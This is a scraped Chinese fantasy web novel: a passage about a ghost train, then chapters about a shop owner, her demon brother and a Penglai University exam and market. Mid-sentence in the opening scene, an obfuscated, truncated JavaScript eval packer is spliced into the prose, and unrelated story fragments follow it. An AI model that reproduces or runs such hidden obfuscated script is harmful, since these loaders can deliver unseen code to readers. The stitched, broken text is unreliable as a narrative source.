李丽心急如焚，干脆跑了起来，她完全感受不到疼痛，漫长的台阶也不可怕了。 她一口气跑上了月台。 一辆列车缓缓进站，温暖的灯光穿透浓雾，有种难以抵挡的吸引力。 月台上站着一个穿白色制服的客运员，肩宽腿长，戴着一顶高高的帽子，腰上别着手铐，手上拿着一个喇叭。 客运员面向她，举起喇叭：“这位女士，马上要发车了，抓紧时间上车。” 李丽急急忙忙上车。 空旷的车厢里，只坐着一个年轻姑娘，身着一件绿色连衣裙，裙摆处渐变成黄色。见到她，姑娘笑了笑：“李丽，你还记得我吗？” 李丽摇头：“我应该没见过你。” 姑娘笑起来有很深的酒窝，眼睛是天然的黄绿色。如果她见过，绝对会记忆深刻。 “我是那棵千年银杏，我叫白绘秋。”白绘秋扬手，洋洋洒洒的银杏叶落满车厢。 李丽用双手捂住嘴巴，眼里写满了难以置信：“我在做梦，是吗？” “不是哦，你在鬼门关。坐下吧，这辆列车还要开很久。”白绘秋轻描淡写地说完，朝她身后挥了挥手。 李丽回头一看，那位穿着白色制服的客运员也上了车。 这里要是鬼门关，这位客运员是…… 李丽不敢深想，在白绘秋对面落座，低声问：“这到底是怎么一回事，你怎么会来救我呢？” 李丽明白，若非银杏叶及时出现，她可能再也上不来了。 “你有一个乖孙女。”白绘秋解释，“她找到愿望杂货铺，求店主救你。店主对我有恩，我如今正在她的店门前打工报恩。” 李丽还未追问愿望杂货铺是什么地方，列车发车了。 她看向窗外，浓雾之中，过往人生中记忆深刻、意义非凡的一幕幕如电影画面般浮现。 列车停下的时候，浓雾散去，李丽在车窗上看到自己的倒影。 倒影问：“李丽啊，你活够了吗？” 李丽摇头：“我还没活够呢！” “那就好，你回去吧。” “你提着风铃，下车之后，乘坐手扶梯上去，跟着指示牌出站，记住了，千万不要回头，也不要和路上的人搭话。” “白姑娘呢？不和我一起回去吗？”李丽看向四周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那你这么拼命干什么？” “去见我女朋友。” “女朋友……？是何意。” “心悦之人。” “原来如此，你担心这位佳人离了你过得不好，人之常情啊。” “不，不管发生什么她都会好好生活，但是我是恋爱脑。”苏烛强撑着坐起来，鲜血落在长睫上，浸入眼睛，他随手一擦，面不改色地把断掉的手臂接回去，“我就算是爬，也要爬回去看她一眼。” “恋爱脑又是何意？” “只可意会，不可言传。” “……你的诚心打动了我，我决定传授给你一个法子。只是，这个办法极危险，易失败，且要忍受常人难以忍受的痛苦。就算成功了，她也看不见你，你也不能同她说话，你可愿意？” 苏烛抓住陆盛的手臂，目光灼灼地看着他：“细说。” “撒手，爪、爪要断了！”陆盛疼得吸气，“听好了，招摇山上有一种树，叫迷榖，你去找到这种树的叶子。我再教你该怎么做。如果那位佳人的所在之处灵气稀薄，我就无法将你的魂魄送出去。” …… 时愿向奶奶请教了在院子里种菜的方法。 奶奶说，过两天要下雨，她要趁着天晴，把院子的泥土翻一遍，等雨水浸透土地，到时候再整地，下菜种菜苗。 时愿回家拿了翻土专用的锄头，在院子里圈出菜园的区域。 一锄头下去，带起泥土的同时，灵气翻涌。 50-60 第51章 9月14日, 蓬莱大学新生摸底考试最后一天。 秦暮雨在躲避妖兽的时候，不甚摔落山坡，小腿被碎石划伤，血淋淋一片。还好妖兽只是往下面看了一眼, 就调头走了。她用仅剩的伤药和绷带处理了伤口, 捡了根树枝当拐杖, 找了个山洞躲起来。 秦暮雨能走到这里，十分不容易。她一路避让天才们的锋芒，没有去争夺那些大宝藏，偶尔碰到争斗现场, 她会躲起来, 等争斗结束, 天才们走了，她才出来捡大家不要的东西。 除了捡漏, 她也会尝试破解一些无人问津的小机关, 拿里面的奖励。 现在, 距离考试结束还有十小时不到，她决定在这个山洞里苟到最后。 捡漏也好，躲起来也好, 听起来都很窝囊。但秦暮雨就是靠着这份忍耐, 才在没有人庇护的家里长到这么大。她的目标只有一个, 不被退学。被嘲笑也好, 被看不起也好，她拼尽全力也要留在蓬莱大学。 这个山洞从外面看不甚明显, 越往里走，越宽阔，竟像是没有尽头一样。里面还有一片水域, 一路延伸到深处，水很清澈，手电筒照过去，呈现出碧玉一样的颜色，但是非常深，一眼看不到底。 手上都是血污，黏糊糊的难受，秦暮雨忍着，没有去洗手。在秘境里，平静之下，有可能藏着宝藏，也可能藏着凶险。 “看我姐姐找的这个好地方。”秦霏霏挑开洞口的遮挡物，踩在脚底，欣赏着秦暮雨瞬间煞白的脸色，“好姐姐，你是不是以为，能在这里苟到考试结束？这几天你过得那么安稳，是不是忘了我说过的话？” 一男一女跟着秦霏霏进来，都是她的朋友，男的叫沈冠宇，女的叫黄念梦。 “你怎么会在这里？”秦暮雨的心咚一声沉到底，反应过来了，“开考之前，你靠过来和我说话，在我身上留了东西。” “不算太蠢，就是天赋实在太低了。”秦霏霏掐诀念咒，一张定位符从秦暮雨背后显现，飘到她的手里，她笑得挑衅，“这是爸爸送给我的礼物，也算和你分享了。我早就警告过你，作为家族的耻辱，万年吊车尾，不要进蓬莱大学丢家里的脸，你非不听，我只好亲自清理门户了。我特意让你多体验了几天，我对你好吧？” 秦暮雨握紧了拳头。故意等到最后一天，即将看到胜利曙光的时候，再来给她致命一击，这人一向这么恶毒。 “霏霏，别跟她浪费时间了，我还想去找个地方补觉。”沈冠宇朝秦暮雨抬了抬下巴，“你自觉一点，自己把准考证撕了。” 山洞里响起一阵水声，秦霏霏无意中瞥到，水下划过一道巨大的影子，眨眼就消失不见。 她的眼睛亮了起来：“等等，水下有妖兽。” 黄念梦：“霏霏，你想做什么？” 秦霏霏：“我听说，前年入学考核的第一名，取了妖兽的头顶鳞。我们要是能从这个妖兽身上得到一些东西，稳拿本届第一名。” 她的同伴们闻言心动不已。 黄念梦：“得想个法子把它引出来。” “这不是有个现成的诱饵吗？”秦霏霏对秦暮雨笑了笑，“好姐姐，你跳进水里，把那畜生引出来，我就不撕你的准考证了。你知道我们三个的实力，保你不受伤。” 秦暮雨和她朝夕相处这么多年，一点都不意外她会说出这种话：“我拒绝。” 秦霏霏：“我姐姐胆子小，我们得帮帮她，毕竟都流这么多了，浪费了多可惜。” 秦霏霏被惯坏了，做事没分寸，嘴上说着保她不受伤，其实心里根本不把她的安危当回事。 秦暮雨可不想把命赌在这种地方，她把背包背到面前，扶着洞壁站起来：“让我离开，不然就分个胜负。” 秦霏霏笑得前俯后仰：“你拿什么跟我分个胜负，拿你那一背包垃圾吗？” 她夸张地抹了抹眼角的眼泪：“这样吧，我让你把这些破烂挨个用一遍，要是你赢不了我，我就把你扔进水里，再撕烂你的准考证。” 一对一都没有胜算，更何况一对三。但是，秦暮雨只是习惯了苟，不是没骨气，她宁愿和他们打一场，自己撕了准考证，也不想拿命给他们当诱饵。 秦暮雨在背包中摸索，颤抖的手指碰到某样温润的东西，灵魂突然为之一震，产生了深刻的共鸣。 她怎么可能有这么高级的法宝。秦暮雨茫然地把东西拿出来，是一大瓶速干墨液，普通得不能再普通的黑色塑料瓶，白色瓶口，触感却像一块昂贵的玉石。 她对这瓶墨印象深刻，这是她从寻宝镜的幻境中带出来的，在“NPC”温柔的目光下，“冲动消费”的产物。 没什么用处，但又是从幻境中带出来的，她不死心，尽管死沉死沉的，她还是装进背包，带进来了。 沈冠宇嗤笑：“霏霏，你姐的背包真的是垃圾桶啊，居然背了瓶墨水进来，脑子没问题吧？” 秦霏霏：“家里人都不喜欢她，她手里能有什么好东西，可能是为了让背包鼓一点，显得不那么可怜吧。” 秦暮雨压根没听进去他们说的话，手中的墨水瓶像是会说话，这一会儿的功夫，她已经明白该如何使用它。 她拧开瓶盖，朝下挤出墨液：“大鹏一日同风起，扶摇直上九万里。” “她这是在干嘛？”黄念梦指了指脑子，“霏霏，我们是不是把她逼疯了？” 秦霏霏不知为何被激怒了：“别做梦了，你绝对没有翻身的那一天，还扶摇直上，你只配被我踩在脚底！” 墨液凝滞在半空中，流动、分散、重组成一个个文字，正是秦暮雨念的那句诗。 “这是法宝？”沈冠宇皱眉，“从来没见过这种类型的，念诗有什么用？” 黄念梦：“故作玄虚，想唬住咱们，我可不吃这一套。” 秦霏霏心里有种不详的预感，又觉得秦暮雨翻不出什么波浪，秦暮雨手里根本不可能有什么好东西。 墨字在半空中炸成一片灰雾，组成一只巨大的鹏鸟，居高临下地看着秦霏霏等人。 秦暮雨一挥手，大鹏鸟挥动翅膀，这三人连反应的时间都没有，就被扇飞了。 秦霏霏撞到洞壁，滚到地上，吐出一大口血，被大鹏鸟的气场压制得连手指都动不了。 她把眼睛瞪得很大，死死地盯着秦暮雨。这么厉害的法宝，她都没有，这个废材是怎么弄到的？爸爸给她的，还是奶奶？他们嘴上嫌弃秦暮雨，心里还是重视她！ 秦霏霏又吐出一口血，这回是气的。 大鹏鸟的幻影消散，秦暮雨灵力耗尽，倒在地上，脸色苍白如纸。 她怕输，心里又气，一不小心用力过猛了。 秦霏霏恨得眼睛要滴血了：“你…等着…我肯定比你…更快恢复…我要撕烂你的准考证！” 秦暮雨脸上没有一丝害怕，她笑了起来，越笑越开心。 不管结果如何，打这一场，她心里很畅快！ 她已经打开了另一扇门。 总有一天，她召唤出来的大鹏鸟能送她上云霄。 秦霏霏觉得她的笑声很刺耳，无能狂怒。 这时，龙翻雪扛着锄头出现，给秦暮雨喂了一颗丹药。 秦霏霏：“喂…先救我！” 沈冠宇和黄念梦也跟着催促。 秦暮雨吃了丹药，很快就恢复了力气，可以站起来了：“谢谢，我没有这么高品质的药，还钱给你可以吗？” 龙翻雪拾起墨水瓶，拧好瓶盖，递给秦暮雨：“你是姐姐的顾客，不收钱。” “你姐姐是谁？” 龙翻雪拉下口罩：“想起来了吗？” 这张脸过目难忘，秦暮雨想起来后，整个人都凌乱了：“你怎么从幻境里出来了？！！” 龙翻雪蹙眉：“我这药应该没副作用。” 怎么还把人药傻了。 秦暮雨也觉得这句话太傻了，龙翻雪，本届第一名，怎么可能是从幻境里走出来的“NPC”！ 紧急梳理思路，得出一个很可怕的真相：“那家杂货铺，是真实存在的店，店主是你姐姐？” 龙翻雪忽略她胡言乱语的前半句，点头。 那天发生的事历历在目，秦暮雨想起自己的所作所为，尴尬得头顶冒烟了。店主和文具店的老板肯定把她当成怪人了！ 秦暮雨差点给龙翻雪磕一个：“我那天给你姐姐添麻烦了，请帮我转达歉意！” 秦霏霏气若游丝：“喂……” 龙翻雪看向倒在地上的三人：“差点忘了。” 三人脸上露出得救的喜色。 龙翻雪拍了拍手，他们贴身放着的准考证浮起来，落到他手上。 秦霏霏急得吐血：“你…要…干…” 龙翻雪撕碎准考证。 三人连骂人都骂不连贯，被强行传送出去。 秦暮雨忍不住给他鼓掌。 秦暮雨捧着墨水瓶，眼里满是感激：“你早就认出我了，不是偶然路过吧？” 龙翻雪：“我听到他们要为难你，他们来堵你的时候，我就在他们后面。我没有出手，是因为只有主动反击，才能让你树立自信。这是我小时候，姐姐教给我的道理。” 眼泪在眼眶里打转，秦暮雨憋了回去。 她想起店主那天说的话，愿望杂货铺里有最好的墨，原来寻宝镜为她找到了最好的藏宝地。 她表现得像个怪人，店主却没有用异样的目光看她，还赠予她这么稀有的法宝。店主是早就看出，她是蓬莱的新生，因为家里也有蓬莱的新生，了解她的焦虑，才这样照顾她吗？ 能培养出一个第一名的弟弟，店主的修为一定很高吧。 秦暮雨心中生出一份强烈的憧憬，她定不能辜负店主的这份好意，要勤奋修行，报答店主。 秦霏霏等人被传送出去的时候，几个弃考保命的考生都看见了。 “被送出来的居然不是秦暮雨，是秦霏霏！” “难道大家都传错了，吊车尾的是秦霏霏？” “动都动不了了，真惨啊，我出来的时候都没这么狼狈。” 秦霏霏听到这些声音，生生气晕过去了。 监考老师安排人把受伤的考生送到校医室，对同事说：“这一届的新生，闹得有点太过了吧？我们又要不得安生了。” “小打小闹。”同事微笑道，“秦暮雨同学用的那瓶墨，我十分感兴趣。” 龙翻雪同学的姐姐开的杂货铺里，能买得到吗？ “我活了这么久，也是头一回见到这种墨。”监考老师说，“这届新生里面，有几个人给我留下了深刻印象啊，可惜没有人找到头奖，估计要留到下一届喽。” 同事摇摇头：“本届第一名沉迷挖花花草草，根本没花心思找头奖。” 晚上六点，考试准时结束，所有考生被传送出来。 主考官：“受伤的去校医院，没受伤的回去休息，明天准时参加秘境市集，和家人同乐。” 有考生哭丧着脸：“老师，我们中途弃考，都被淘汰了，都要退学了，还有必要去参加市集吗？” 主考官笑了一声：“谁告诉你们，提前出来就要被退学？这都是谣言，摸底考核只是让老师们进一步了解你们的实力和天赋所在。不过，个别过分的同学将受到处分。” 新生们哀嚎一片，并一致决定，继续坑下一届。 …… 楼嚣多给了时愿两张票，她带上宋晚和栗子去逛秘境市集。 蓬莱大学在人间，是确确实实能导航到的地方，宋晚主动要求开车。 进入校区，跟着指引来到市集所在地。 栗子悄声告诉宋晚：“我们刚才穿过了结界，没有入场券的就看不见这个区域。” 宋晚恍然大悟：“难怪我刚才感觉被什么东西挡了一下，我还以为是错觉。” 时愿边走边看，这个市集办得像模像样的，树荫下，道路两旁都是精致的小摊，小摊的名字和卖的商品也很符合秘境主题。 辟谷丹、护门草、灵石……挺有意思的，时愿看得津津有味。 但最吸引时愿的，是一个以物换物的小摊，左边摆满了各种各样漂亮的植物，上面立着一个牌子：给我姐挖的，仅炫耀。 右边摆着一大堆灵石和各种精致的小东西，立牌上写：花木可换。 摊主一头白毛，困得眼睛都睁不开，不是翻雪是谁？ 时愿拉下口罩，笑吟吟地喊了一声：“翻雪。” 龙翻雪一秒清醒，惊喜得差点露出尾巴，笑得比整个小摊的花都灿烂：“姐姐！你怎么不打电话给我，我应该去校门口接你。” 时愿把礼物递给他：“想给你惊喜，开学快乐。” 第52章 有人拍了龙翻雪的花木小摊的照片发到新生群聊, 很快就传遍蓬莱大学各大群聊。 新生第一名不爱头奖沉迷挖花草，“秘境刨坑小能手”、“蓬莱第一姐控”的名号已经在学校里传开了。 不少人慕名来围观，顺便带着花木来交易，龙翻雪的小摊生意超好。 “护门草收不收？这株有点半死不活了, 便宜卖, 我只要两颗灵石。”一个男生站在小摊前, 极力推荐，“这品种多稀有啊，要是会养，养活了你可赚大发了。” 龙翻雪：“这是被学长学姐养死的吧。” 这也是蓬莱大学的老传统了, 养死的灵植、缺页的秘籍、口味奇怪犹如黑暗料理的灵药……请尽情施加障眼法, 让学弟学妹们继承吧！ 男生可疑地沉默了下：“我从枫隐秘境里背出来, 也很不容易，要两颗灵石不算贵吧。” 龙翻雪：“一颗。” 姐姐的小院, 应该能养活, 价值能翻上百倍。 “算你狠, 一颗就一颗。”男生放下半死不活的护门草。 时愿知道护门草，《酉阳杂俎》里面记载：“置诸门上，夜有人过, 辄叱之”, 也就是说, 把护门草挂在门上, 夜晚有人经过的时候，护门草就会发出呵斥声, 是传说中的防盗草。 时愿听翻雪和同学讨价还价，觉得太有意思了，参加秘境市集的人好像在玩角色扮演, 全都好有信念感。 这个快枯死的盆栽，分明就是一株吊兰嘛。 时愿问：“你有信心养活它吗？” 龙翻雪：“姐姐，这是给你买的。” “你对我真是有信心。”时愿说，“我会尽力的，希望你下次放假回家，它还活着。” “小摊上的花木都是我在秘境里挖的，全都给你。”龙翻雪说，“我爸妈在来的路上，他们开了进货的面包车，会帮你运回去。” 时愿：“里面的植物可以随便挖吗，学校允许？” “可以，除了枫树都能挖，这是我们学校的传统。”龙翻雪指向一个木匣，“姐姐，这些东西是秦暮雨给的，托我换成你需要的花木。” “秦暮雨是谁，为什么要送东西给我？” “姐姐不知道她的名字吗？是杂货铺的顾客，我去给你送饭的时候，她从店里出来，买了一瓶墨水。” 时愿想了一会儿，有印象了，是那个让文具店老板苦恼的顾客。 “居然是你的同学，好巧。” “她说之前给你和文叔添麻烦了。”龙翻雪说，“姐姐，你就收下吧，不然她心里不安，要是换不出去，我再拿回去给她。” “也好，下次她再来店里，我给她打折。” 陆陆续续有人拿花木来换东西，龙翻雪收了一盆“舞草”和一盆“蔓金苔”，其实就是一盆不知名的小草和一盆苔藓。来换东西的学生说，蔓金苔放到水里，可以发光。 哈哈，编得挺好。 栗子和宋晚围着这些灵植不停地拍照。 护门草、舞草、蔓金苔……他们竟然亲眼见到了传说中的灵植，当然要拍照纪念！ 两个女生搬来一盆光秃秃的竹子，龙翻雪过去帮忙，艰难地辨认这盆丑竹子：“这是百丈竹。” 这种竹子如其名，可以长至百丈高，还能吸引凤凰等神兽。不过，现在还有没有凤凰，还真不好说。 “不错。”长发女生说，“龙翻雪，久仰大名，我们大你两届，这是我们班灵植课的作业。你是学弟，我们半卖半送了，换你摊上的所有灵石。” 齐耳发女生说：“学弟，你赚翻了。” “养这盆竹子，快把你们班的灵石都榨干了吧？百丈竹地栽要求高，需要大片灵土，你们没有这个奢侈的条件。盆栽长势缓慢，费灵石，还长不出竹叶和竹笋，光吃不吐，连观赏性都没有，送给老师都不肯收吧。”龙翻雪总结，“你们养不起了，丢掉又舍不得。” 长发女生：“准确的。” 齐耳发女生：“一针见血的。” “嗨，师弟见多识广，瞒不过你。”长发女生声泪俱下，“我们全班人养了一个学期，这盆百丈竹就像我们收养的猫猫，有很深的感情，但我们真的供不起了，所以想找个靠谱的领养人。” “其实我们无偿送养，还送‘猫粮’。”短发女生掏出一包灵石，“这是我们班紧急凑的，这就是全部了。” 龙翻雪：“……” 时愿被她们编的故事可爱到了，真相应该是，这两位同学所在的班级上学农课程，一起养了这盆竹子，花了不少钱但是养不好，投入了这么多，丢掉又舍不得。 “翻雪，收下吧，我来养。”时愿说，“我有种竹子的朋友，可以向他请教经验。加个好友，我可以给你们定期发照片和视频，保证不会‘饿’着它，如果不嫌路程远，节假日你们也可以来我的店里探望。” 龙翻雪是妖，他的姐姐当然也是妖，而且是比他更厉害，更有钱的妖，脾气还这么好！ 完美的接盘侠……啊不，领养人！ “姐姐，从今天起，您就是我们班所有人的亲姐姐！”长发女生激动地去握时愿的手，被龙翻雪挡住了去路。 龙翻雪：“别乱喊。” “姐姐～”长发女生不听他的，故意捏着嗓子喊，“我们的小摊有手抓饼和柠檬茶～请姐姐吃～我们和龙翻雪同学不一样，我们只会心疼姐姐～” 龙翻雪耳朵都红了，不知道是气的，还是尬的。 “我刚才就闻到香味了，原来是你们摆的小摊。”时愿说，“翻雪，我想去逛一下小吃摊。” 龙翻雪：“姐姐你不熟这边，我陪你去。” 宋晚：“那我留下来看摊子吧。” 栗子：“我也留下。” “难得来一次，你们也去逛逛吧。”龙翻雪装了两袋灵石，给他们一人一袋，“看中什么就买下来。我叫我舅舅来看摊子。” 时愿解释：“翻雪的舅舅是蓬莱大学的教职工。” 在知道这个开学活动之前，她一直以为这是翻雪报这所学校的最大原因。 宋晚捧着一大袋灵石，宕机了。平时都是他当别人的金主来着！ 不过，在修仙大学，灵石才是硬通货，他来之前想兑换都找不到渠道，有了它们，在市集上买东西才方便。以后再找机会加倍回报店主即可，宋晚满怀感激地收下了。 栗子跟着老板走，也收下了。 一大袋灵石欸，光是捧在手里，她都感觉要涨灵力了。 池浔之匆匆赶过来，梳上去的头发都乱了两簇，衬衫下摆也跑出来一截，他戴眼镜，一身的书卷气，和龙翻雪的气质截然不同。他左手无名指上戴着一枚纳戒，正是先前借给龙翻雪搬花木的那一枚。 两位学姐等到现在，就是为了看看龙翻雪的舅舅是哪位。见到池浔之，两人瞬间挺直后背。 是守枫！ “守枫”是蓬莱大学的一个职位，职责是守护枫隐秘境，只有被秘境选中的人，才能成为守枫。 守枫看似没有实权，但话语权和校长差不多，而且守枫是秘境选的，不像校长，要受各方势力掣肘，没人敢让守枫不高兴，要是他卸任了，枫隐秘境就会彻底封闭起来，直到找到下一任守枫。简单来说，守枫就是秘境的钥匙。 “翻雪，你说有急事，怎么了？” “池叔叔。”时愿笑着打招呼。 池浔之扶了扶眼镜：“小愿也在，好久不见了。” 龙翻雪：“舅舅，帮我看一下小摊，我要陪姐姐去逛小吃摊。” 两位学姐听到这个理由，齐齐吸了口冷气。 守枫绝对会训斥他的。 “那是很重要，去吧，带小愿好好逛逛，多买点东西。”池浔之脱下纳戒，递给龙翻雪，意思是，里面的灵石你随便花。 两位学姐在风中凌乱，守枫也太宠孩子了吧！ 那两个女生做的手抓饼很香，柠檬茶清爽解腻，龙翻雪抢先付钱，不给学姐请客的机会。 除了手抓饼，时愿还吃到了软糯的红糖糍粑，红油串串，豆花，红油串串摊是学生家长开的，香迷糊了，时愿还问老板要了店址，打算有机会去她店里再吃一次。 她还在一个小摊上买了画纸和砚，小老板说，这纸叫“遮眼”，用它来画符，连鬼的眼睛都能遮住。砚叫温玉砚，说是能保墨汁永不凝固干涸，冬天摸着也不冻手。 这个小摊不收现金，龙翻雪付了灵石。 栗子和宋晚看见什么都想买，但为了把灵石花在刀刃上，他们总是斟酌再斟酌，最后也收获颇丰。 时愿看到指向枫隐秘境的路牌，问：“翻雪，你们学校的枫叶红了吗？” “红了，很美。”秘境的时间和外面不一样，一年之中有大半年都能欣赏到红叶。 时愿提议：“我们去看红叶吧。” 每年新生考核后，秘境都会关闭一段时间，进行自我修复，期间连守枫都进不去。因此，舅舅才有空来帮他看摊子。 姐姐肯定知道这个规则，她这样说，难道是有办法进去？ 想到这里，龙翻雪点了点头：“好。” 听说龙翻雪的姐姐来了，新生考试的监考官齐主任放下手中的杂事，去赶集。 他对秦暮雨用的那瓶墨水念念不忘，一定要抓住机会，问问清楚。 “齐主任。”秦霏霏的母亲于淑雅出现在办公室门口，堵住了他的去路，同行的还有沈冠宇和黄念梦的家长。 于淑雅冷声道：“有人在考试途中，撕了我们孩子的准考证，这事你能给我们一个说法吗？” 第53章 置身枫林, 龙翻雪确定自己的判断是对的了。 姐姐真的能进入封闭期的枫隐秘境。 龙翻雪根本没有深想时愿是怎么做到的，他从小就知道，姐姐想做的事一定能做到。 时愿说：“千枝复万枝，枫树好美。” 栗子和宋晚已经看呆了。 能来秘境市集就很幸运了, 他们从来没想过, 能进枫隐秘境, 还是封闭期间，只有他们独享的秘境。 浑身被充沛的灵气包裹着，身体变得轻盈，连宋晚都能感觉到, 这里的灵气含量比青云山还要高。 跟在时愿身边, 也没有安全顾虑, 可以尽情欣赏美景。两人一边走一边拍，贪婪地用眼睛记住每一帧画面。 时愿问：“翻雪, 你好像说过, 只有枫树不能挖？” 龙翻雪从包里拿出一把迷你锄头：“对, 姐姐看上什么，都可以挖。” 不能挖枫木，不能伤害枫木, 这是蓬莱大学所有人的共识。它们是这片秘境的灵气来源, 更依赖这片秘境, 据说破坏枫树会被秘境惩罚。而且, 枫叶一离开秘境就会消失，连落叶也不例外。 “你什么时候把锄头放包里了。”时愿笑道, “收起来吧，你们的开学活动都已经结束了，我一个外人到处挖也太不见外了。你送给我的已经够多了。” 龙翻雪听话地收起小锄头, 心想，送给姐姐的东西，再多都不算多。 “捡一根枫树枝没关系吧？”时愿往小路上走，“那边断了一根树枝，我想带回去写生。” 秘境里怎么可能有折断的枫树枝？这很不合理，但龙翻雪没有质疑时愿的判断，跟过去一看，当真有一根断裂的树枝，枝干有六七公分粗，断口还很新鲜。 这是怎么回事？被妖兽压断的？ “树枝的形态好漂亮。”时愿捡起枫树枝，无意看到树下的植被有点怪，“翻雪，这里好像埋了东西。” 龙翻雪也注意到了，这里有一个很高级的障眼法，识破之后可以看到，树荫下的泥土被人挖开过，又用花草掩饰痕迹。布置此处的人大约是对障眼法很有自信，把花草种得歪歪扭扭。 龙翻雪：“应该是遗漏的奖品。” 时愿：“还能挖吗？” “可以。”龙翻雪再次拿出小锄头，“这里的规则就是，随时随地，只要能进来，谁找到算谁的。” 龙翻雪挖出来一个大盒子。 栗子和宋晚好奇地靠近，有种围观别人刮彩票的心情。 “会是什么呢？” “好大的盒子，里面肯定装着不得了的东西。” 是一张毯子，厚实，柔软，绣有一只仙鹤。 “仙鹤飞毯，一次可载四人飞行，日行千里。”龙翻雪说，“是这一届寻宝活动的头奖。” 宋晚和栗子齐齐“哇”了起来。 时愿忍俊不禁，他们太捧场了，做不扫兴的家长，挺好挺好。 龙翻雪盖上盒子，心情也有一点不平静。 姐姐来枫隐秘境，不是临时起意。她一定是听到其他人议论“本届第一名没找到头奖”，记在心里了，特意带他过来，又引导他找到了藏在枫树下的飞毯。 “是有一位同学撕了秦霏霏、沈冠宇和黄念梦这三位同学的准考证，这件事我们年级组已经讨论过了，会给处分。”齐主任这样回复几位来要说法的家长。 于淑雅不自觉露出一点得意的神色，尖尖的唇角翘了起来：“给什么处分？这么严重的情况，别想着拿不疼不痒的处罚打发我们。” “我们也是这样想的，这件事性质严重，不可姑息。”齐主任说，“我们经过投票，决定给沈冠宇、黄念梦、秦霏霏同学留校察看处分，考察期为六个月，要是六个月内表现不佳，我们将开除他们的学籍。” “什么？！！”于淑雅的嗓音都喊劈叉了，一点形象也无，“齐主任，你有没有搞错，我们的孩子受人欺负，受了重伤，现在还在医院躺着，竟然还要受处分？” 另外两人的家长也一副天塌了的表情，连声追问。 三个人激动起来，直把齐主任挤回了办公室，大有他不解释清楚，就哪儿也别去的意思。 “不知道几位同学是怎么和你们说的，大概产生了一些误会。”齐主任扶了扶眼镜，“我们几位监考老师通过枫镜看得很清楚，是秦霏霏同学用定位符跟踪秦暮雨同学，带着沈冠宇和黄念梦同学把秦暮雨同学堵在山洞里，扬言要撕秦暮雨同学的准考证，还想把她推进深潭引妖兽。秦暮雨同学正当防卫，三位同学受伤，那是他们咎由自取。” “至于你们说的，撕准考证的同学，那是在做好人好事。你们放心，学校赏罚分明，会表彰他的勇敢行为。” 三位家长快晕厥了。 于淑雅恨得快把美甲绞断了：“齐主任，这个学生是什么来头，你连名字都不肯透露，不会是碍于他的身份，颠倒是非吧？” 齐主任气定神闲：“秦霏霏妈妈，学生中是有一些传言，说枫隐秘境中，一些昏暗偏僻——比如山洞，可以躲避枫镜的监控。这是谣言，学校说话办事，不看学生身份，只看确凿的证据。” 一听说有证据，三位家长的表情变了几变。 沈冠宇的父亲沉声道：“齐主任，秦暮雨是霏霏的姐姐，这姐妹打闹是常有的事，冠宇和念梦同姐妹俩是发小，也跟着吵了几句嘴，没必要上升到这么严重吧？” 齐主任问：“刚才秦霏霏妈妈不是说情况很严重吗？” 于淑雅权衡利弊，忍了下来：“齐主任，那是我刚才气昏头了，我关心则乱。这是我们家的家事，回去之后我一定好好教育家里的两个孩子，这件事就算吧。” 齐主任：“秦霏霏妈妈，就算是亲兄弟姐妹，在考场里打架斗殴，影响其他考生，也是要受处分的。” 沈父一听这风向，就知道没戏了，立马撇清关系：“齐主任，这事是秦霏霏挑的头，我家孩子是跟她关系好，肯定是被她教唆的，最多也就是从犯，不该罚这么重吧！” 黄念梦妈妈也赶紧附和：“是啊是啊，我家梦梦肯定是被她逼着去的！” 这两株墙头草！想让她女儿一人背锅？想得美！于淑雅表情都要扭曲了，她的脑子疯狂运转，齐主任既然没有用那位学生的背景来压他们，说明那个学生家境普通，不是出身修仙世家，是因为天赋出众才被蓬莱选中。齐主任不说出学生的名字，是为了保护学生。不看学生身份这句话，是说给他们听的！ 蓬莱大学态度强硬，出身寒门的学生家里可没这么硬！ “大家各执一词，那就让所有人都过来对峙！”于淑雅冷静下来，揪住撕准考证这一点不放，“再怎么说，撕人准考证也实在太过分了，齐主任，请你给那位学生的家长打电话，大家当面分辩。” “这件事你们不占理，学校的处分是合理的。”齐主任问，“你坚持要见他们吗？” “我坚持！” 出秘境的路上，龙翻雪接到了齐主任的电话。 “老师，我爸妈还没到，我一定要去吗？”龙翻雪不乐意被打扰。 那边传来于淑雅歇斯底里的声音，龙翻雪把手机拿远了，还是被刺得耳朵疼。 时愿听到了，蹙眉，从他手中拿过手机：“老师你好，我是翻雪的姐姐，我们现在过去。” 挂了电话，时愿问翻雪：“这是怎么一回事呢？” 翻雪老实交代：“刚才那个大喊大叫的是秦暮雨的继母，秦暮雨同父异母的妹妹带人堵了她，要撕她准考证，还要推她下水喂鱼，他们打起来受了伤，我路过，嚷着要我救他们，我救了秦暮雨，把欺负人那三个人的准考证撕了。寻宝活动的规矩，撕了准考证就要被传送出秘境，影响考试成绩。现在那三个人的家长来闹事。” 传送出秘境，应该是角色扮演的说法吧。时愿没有太在意：“你记得秦暮雨是我店里的顾客，所以在帮我照顾她，对吗？” 龙翻雪点头。 “翻雪，你没做错。但是这种时候，我们要用到一些说话的技巧。”时愿教了他几句话。 另一边，听说来的是龙翻雪的姐姐，齐主任松了口气。 不是守枫亲自过来，事态还算可控。 “齐主任，有急事！”大一辅导员急匆匆过来，对着齐主任一通传音入密，内容如下： 齐主任，大事不好！方才枫镜有波动，在枫隐秘境封闭期间，龙翻雪的姐姐带着他和另外两个人进了秘境！ “什么？”齐主任没做好表情管理，不是，这说的是人话吗？ 这个时间，守枫都进不去秘境，他们是怎么进去的？ 谁知道，更吓人的还在后头。 辅导员继续传音入密：她帮龙翻雪找到了头奖，还带了一根枫树枝出来，枫叶没有消失！ 齐主任一时没站稳，差点滑地上。 他执教五十年，第一次遇到这种情况，事态比现任守枫亲自过来还要严重。 因为，龙翻雪的姐姐很可能是秘境选中的，下一任守枫！ 第54章 于淑雅见到时愿和龙翻雪, 心中的担忧立马少了一半。 秦霏霏告诉她，龙翻雪是妖，还是新生中的第一名。她本来有点担心是个刺头，或者有个难缠的大妖家长。 现在看来, 只是个天赋稍高、乖巧的小妖怪, 他的姐姐是个普通人, 说明他是被人类家庭收养的，或者是个半妖。 另外两位家长的表情也放松了些，这姐弟俩看起来好处理多了。要是能大事化小，小事化无, 他们也不想和秦家撕破脸。 齐主任和辅导员的反应则恰恰相反, 从见到时愿的那一刻起, 心里那根弦就绷紧了。 齐主任请大家坐下。 